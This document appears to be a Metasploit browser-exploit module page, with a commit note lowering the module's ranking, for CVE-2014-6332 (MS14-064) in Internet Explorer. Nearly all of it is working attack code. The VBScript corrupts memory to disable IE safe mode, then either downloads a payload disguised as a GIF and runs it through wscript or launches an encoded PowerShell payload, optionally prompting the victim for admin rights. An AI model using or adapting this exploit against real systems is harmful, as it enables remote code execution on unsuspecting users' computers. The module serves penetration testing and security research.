13a3f2781d
The ms14_064_ole_code_execution exploit's ranking is being lowered to GoodRanking because of these two reasons: 1. The vulnerable component isn't in Internet Explorer. And BES can't check it so the exploit still fires even if the target is patched. 2. Although rare, we've seen the exploit crashing IE, and since this is a memory curruption type of bug, it should not be in Excellent ranking anyway.
391 lines
9.2 KiB
Ruby
391 lines
9.2 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/exploit/powershell'
|
|
|
|
class Metasploit4 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::BrowserExploitServer
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
|
|
'Description' => %q{
|
|
This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
|
|
The vulnerability is known to affect Internet Explorer 3.0 until version 11 within
|
|
Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will
|
|
only target Windows XP and Windows 7 box due to the Powershell limitation.
|
|
|
|
Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
|
|
newer Windows systems, the exploit will try using Powershell instead.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Robert Freeman', # IBM X-Force
|
|
'yuange', # twitter.com/yuange75
|
|
'Rik van Duijn', # twitter.com/rikvduijn
|
|
'Wesley Neelen', # security[at]forsec.nl
|
|
'GradiusX <francescomifsud[at]gmail.com>',
|
|
'b33f', # @FuzzySec
|
|
'sinn3r'
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2014-6332' ],
|
|
[ 'MSB', 'MS14-064' ],
|
|
[ 'OSVDB', '114533' ],
|
|
[ 'EDB', '35229' ],
|
|
[ 'EDB', '35308' ],
|
|
[ 'URL', 'http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows' ],
|
|
[ 'URL', 'https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module' ]
|
|
],
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows XP',
|
|
{
|
|
'os_name' => OperatingSystems::Match::WINDOWS_XP
|
|
}
|
|
],
|
|
[
|
|
'Windows 7',
|
|
{
|
|
'os_name' => OperatingSystems::Match::WINDOWS_7
|
|
}
|
|
]
|
|
],
|
|
'BrowserRequirements' =>
|
|
{
|
|
:source => /script|headers/i,
|
|
:ua_name => HttpClients::IE,
|
|
:arch => ARCH_X86,
|
|
:ua_ver => lambda { |ver| ver.to_i.between?(4, 10) }
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'HTTP::compression' => 'gzip'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00"
|
|
},
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Nov 13 2014",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]),
|
|
OptBool.new('AllowPowershellPrompt', [true, 'Allow exploit to try Powershell', false])
|
|
], self.class )
|
|
|
|
end
|
|
|
|
def vbs_prepare()
|
|
code = %Q|
|
|
dim aa()
|
|
dim ab()
|
|
dim a0
|
|
dim a1
|
|
dim a2
|
|
dim a3
|
|
dim win9x
|
|
dim intVersion
|
|
dim rnda
|
|
dim funclass
|
|
dim myarray
|
|
|
|
Begin()
|
|
|
|
function Begin()
|
|
On Error Resume Next
|
|
info=Navigator.UserAgent
|
|
|
|
if(instr(info,"Win64")>0) then
|
|
exit function
|
|
end if
|
|
|
|
if (instr(info,"MSIE")>0) then
|
|
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
|
|
else
|
|
exit function
|
|
|
|
end if
|
|
|
|
win9x=0
|
|
|
|
BeginInit()
|
|
If Create()=True Then
|
|
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
|
|
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
|
|
|
|
if(intVersion<4) then
|
|
document.write("<br> IE")
|
|
document.write(intVersion)
|
|
runshellcode()
|
|
else
|
|
setnotsafemode()
|
|
end if
|
|
end if
|
|
end function
|
|
|
|
function BeginInit()
|
|
Randomize()
|
|
redim aa(5)
|
|
redim ab(5)
|
|
a0=13+17*rnd(6)
|
|
a3=7+3*rnd(5)
|
|
end function
|
|
|
|
function Create()
|
|
On Error Resume Next
|
|
dim i
|
|
Create=False
|
|
For i = 0 To 400
|
|
If Over()=True Then
|
|
' document.write(i)
|
|
Create=True
|
|
Exit For
|
|
End If
|
|
Next
|
|
end function
|
|
|
|
sub testaa()
|
|
end sub
|
|
|
|
function mydata()
|
|
On Error Resume Next
|
|
i=testaa
|
|
i=null
|
|
redim Preserve aa(a2)
|
|
|
|
ab(0)=0
|
|
aa(a1)=i
|
|
ab(0)=6.36598737437801E-314
|
|
|
|
aa(a1+2)=myarray
|
|
ab(2)=1.74088534731324E-310
|
|
mydata=aa(a1)
|
|
redim Preserve aa(a0)
|
|
end function
|
|
|
|
function setnotsafemode()
|
|
On Error Resume Next
|
|
i=mydata()
|
|
i=readmemo(i+8)
|
|
i=readmemo(i+16)
|
|
j=readmemo(i+&h134)
|
|
for k=0 to &h60 step 4
|
|
j=readmemo(i+&h120+k)
|
|
if(j=14) then
|
|
j=0
|
|
redim Preserve aa(a2)
|
|
aa(a1+2)(i+&h11c+k)=ab(4)
|
|
redim Preserve aa(a0)
|
|
|
|
j=0
|
|
j=readmemo(i+&h120+k)
|
|
|
|
Exit for
|
|
end if
|
|
|
|
next
|
|
ab(2)=1.69759663316747E-313
|
|
runaaaa()
|
|
end function
|
|
|
|
function Over()
|
|
On Error Resume Next
|
|
dim type1,type2,type3
|
|
Over=False
|
|
a0=a0+a3
|
|
a1=a0+2
|
|
a2=a0+&h8000000
|
|
|
|
redim Preserve aa(a0)
|
|
redim ab(a0)
|
|
|
|
redim Preserve aa(a2)
|
|
|
|
type1=1
|
|
ab(0)=1.123456789012345678901234567890
|
|
aa(a0)=10
|
|
|
|
If(IsObject(aa(a1-1)) = False) Then
|
|
if(intVersion<4) then
|
|
mem=cint(a0+1)*16
|
|
j=vartype(aa(a1-1))
|
|
if((j=mem+4) or (j*8=mem+8)) then
|
|
if(vartype(aa(a1-1))<>0) Then
|
|
If(IsObject(aa(a1)) = False ) Then
|
|
type1=VarType(aa(a1))
|
|
end if
|
|
end if
|
|
else
|
|
redim Preserve aa(a0)
|
|
exit function
|
|
|
|
end if
|
|
else
|
|
if(vartype(aa(a1-1))<>0) Then
|
|
If(IsObject(aa(a1)) = False ) Then
|
|
type1=VarType(aa(a1))
|
|
end if
|
|
end if
|
|
end if
|
|
end if
|
|
|
|
|
|
If(type1=&h2f66) Then
|
|
Over=True
|
|
End If
|
|
If(type1=&hB9AD) Then
|
|
Over=True
|
|
win9x=1
|
|
End If
|
|
|
|
redim Preserve aa(a0)
|
|
|
|
end function
|
|
|
|
function ReadMemo(add)
|
|
On Error Resume Next
|
|
redim Preserve aa(a2)
|
|
|
|
ab(0)=0
|
|
aa(a1)=add+4
|
|
ab(0)=1.69759663316747E-313
|
|
ReadMemo=lenb(aa(a1))
|
|
|
|
ab(0)=0
|
|
|
|
redim Preserve aa(a0)
|
|
end function
|
|
|
|
|
|
|
|
|
end
|
|
|
|
def vbs_vector(prep)
|
|
vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
|
|
gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
|
|
|
|
payload_src = "#{gif_name}"
|
|
|
|
# I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
|
|
# with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.
|
|
%Q|<!doctype html>
|
|
<html>
|
|
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
|
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
|
<body>
|
|
<script language="VBScript">
|
|
function runaaaa()
|
|
On Error Resume Next
|
|
|
|
set xmlhttp = CreateObject("Microsoft.XMLHTTP")
|
|
xmlhttp.open "GET", "#{payload_src}", False
|
|
xmlhttp.send
|
|
|
|
Set objFSO=CreateObject("Scripting.FileSystemObject")
|
|
folder = objFSO.GetSpecialFolder(2)
|
|
scriptName = folder + "\\#{vbs_name}"
|
|
Set objFile = objFSO.CreateTextFile(scriptName,True)
|
|
objFile.Write xmlhttp.responseText
|
|
objFile.Close
|
|
|
|
set shell=createobject("Shell.Application")
|
|
shell.ShellExecute "wscript.exe", scriptName, "", "open", 0
|
|
|
|
end function
|
|
</script>
|
|
<script language="VBScript">
|
|
#{prep}
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
end
|
|
|
|
def powershell_vector(prep)
|
|
if datastore['TRYUAC']
|
|
tryuac = 'runas'
|
|
else
|
|
tryuac = 'open'
|
|
end
|
|
|
|
# Powershell was the first technique demonstrated publicly.
|
|
# On some Windows setups such as Windows 7 without a service pack, this works quite well.
|
|
# But other Windows setups you will get a prompt.
|
|
payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })
|
|
payl.slice! "powershell.exe "
|
|
|
|
%Q|<!doctype html>
|
|
<html>
|
|
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
|
|
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
|
<body>
|
|
<script language="VBScript">
|
|
function runaaaa()
|
|
On Error Resume Next
|
|
set shell=createobject("Shell.Application")
|
|
shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0
|
|
end function
|
|
</script>
|
|
<script language="VBScript">
|
|
#{prep}
|
|
</script>
|
|
</body>
|
|
</html>
|
|
|
|
|
end
|
|
|
|
def get_html
|
|
prep = vbs_prepare()
|
|
case get_target.name
|
|
when OperatingSystems::Match::WINDOWS_XP
|
|
return vbs_vector(prep)
|
|
else
|
|
return powershell_vector(prep)
|
|
end
|
|
end
|
|
|
|
def on_request_exploit(cli, request, target_info)
|
|
if get_target.name.match(OperatingSystems::Match::WINDOWS_7) && !datastore['AllowPowershellPrompt']
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
case request.uri
|
|
when /\.gif/
|
|
if get_target.name =~ OperatingSystems::Match::WINDOWS_XP
|
|
p = regenerate_payload(cli)
|
|
data = generate_payload_exe({:code => p.encoded})
|
|
|
|
# The default template uses \n, and wscript.exe isn't very happy about that.
|
|
# It should be \r\n .
|
|
vbs = Msf::Util::EXE.to_exe_vbs(data).gsub(/\x0a/, "\r\n")
|
|
|
|
send_response(cli, vbs)
|
|
else
|
|
# The VBS technique is only for Windows XP. So if a non-XP system is requesting it,
|
|
# something is not right.
|
|
send_not_found(cli)
|
|
end
|
|
else
|
|
send_exploit_html(cli, get_html)
|
|
end
|
|
end
|
|
|
|
end
|
|
|